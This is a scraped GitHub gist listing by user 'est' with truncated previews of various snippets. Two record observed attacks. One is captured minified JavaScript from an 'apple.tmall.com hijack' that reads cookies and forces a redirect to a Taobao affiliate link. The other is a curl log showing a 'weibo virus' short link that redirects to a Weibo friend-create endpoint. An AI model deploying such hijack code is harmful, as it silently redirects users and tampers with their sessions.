Skip to content

Instantly share code, notes, and snippets.

View est's full-sized avatar
🤣
<INSERT YOUR ADS HERE>

ᴇsᴛ est

🤣
<INSERT YOUR ADS HERE>
View GitHub Profile
@est
est / gist:bdfaa7e94643cad74bd2
Created October 9, 2014 13:17
apple.tmall.com hijack
<html><head><meta name="viewport" content="width=device-width,initial-scale=1,user-scalable=no"/></head><body></body></html><script>for(var a=document,d='http://s.click.taobao.com/t?e=m%3D2%26s%3D9h%2FCBrFFjdQcQipKwQzePDAVflQIoZepK7Vc7tFgwiFRAdhuF14FMSWTBz76PfFU79%2FTFaMDK6S6tHyvddgop4tLbbsq4MM6fGxKH7pHIwKA%2BjNW0dJzY69d9eFREVGe',c='-1253340436',k=a.body,l=a.location,m=function(){'0'==0.9.toFixed(0)?l.replace(d):/webki/i.test(navigator.userAgent)?~function(b,f){b=a.createElement('a');b.rel='noreferrer';b.href=d;k.appendChild(b);if(b.click){b.click()}else{try{f=a.createEvent('Event');f.initEvent('click',!1,!1);b.dispatchEvent(f)}catch(e){}}}():(a.write('<meta http-equiv="refresh" content="0;url='+d+'"/>'),a.close())},i=function(b,f){var g=a.createElement('script');g.onload=g.onreadystatechange=function(){/m|ded/i.test(this.readyState||'m')&&f&&setTimeout(function(){f()},100)};g.src=b;k.appendChild(g)},j=a.cookie,n='path=/',o='domain=',p='; ',q=!c.indexOf('-')?j.split('; '):[],r=q.length;r--;){for(var s=q[r].s
@est
est / tcp_info.py
Created May 26, 2015 07:55
TCP_INFO on mac
# linux: http://lxr.free-electrons.com/source/include/uapi/linux/tcp.h#L148
# Mac: http://www.opensource.apple.com/source/xnu/xnu-2782.1.97/bsd/netinet/tcp.h
@est
est / 1.py
Created June 9, 2015 08:44
socket broadcast test
import socket
@est
est / 1.js
Last active August 29, 2015 14:23
webqq ptwebqq hash implemented in Python & Javascript
u = function(x, K) {
x += "";
for (var N = [], T = 0; T < K.length; T++)
N[T % 4] ^= K.charCodeAt(T);
var U = ["EC", "OK"], V = [];
V[0] = x >> 24 & 255 ^ U[0].charCodeAt(0);
V[1] = x >> 16 & 255 ^ U[0].charCodeAt(1);
V[2] = x >> 8 & 255 ^ U[1].charCodeAt(0);
V[3] = x & 255 ^ U[1].charCodeAt(1);
U = [];
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Vertical Text</title>
<style>
<!--
.year
@est
est / hide_weibo.py
Last active December 21, 2015 02:55
hide weibo
#!/usr/bin/env python
# coding: utf8
# this script to hide previous weibo
# MIT license
import re, time, random
import requests
owner_uid = 0 # your uid
@est
est / t.cn RGKKqug
Created February 24, 2016 03:28
weibo virus
* Hostname was NOT found in DNS cache
* Trying 180.149.135.224...
* Connected to t.cn (180.149.135.224) port 80 (#0)
> GET /RGKKqug HTTP/1.1
> User-Agent: curl/7.35.0
> Host: t.cn
> Accept: */*
>
< HTTP/1.1 302 Found
< Location: http://kan.sina.com.cn/ajax_fun/weibo_friend_create/1682669713
@est
est / test
Created February 27, 2016 06:27
lagou-stats
#
@est
est / keybase.md
Created November 18, 2016 03:34
keybase.md

Keybase proof

I hereby claim:

  • I am est on github.
  • I am est (https://keybase.io/est) on keybase.
  • I have a public key whose fingerprint is 531C BB09 B965 0F8A C997 0C95 5FC2 49DA BED6 708D

To claim this, I am signing this object: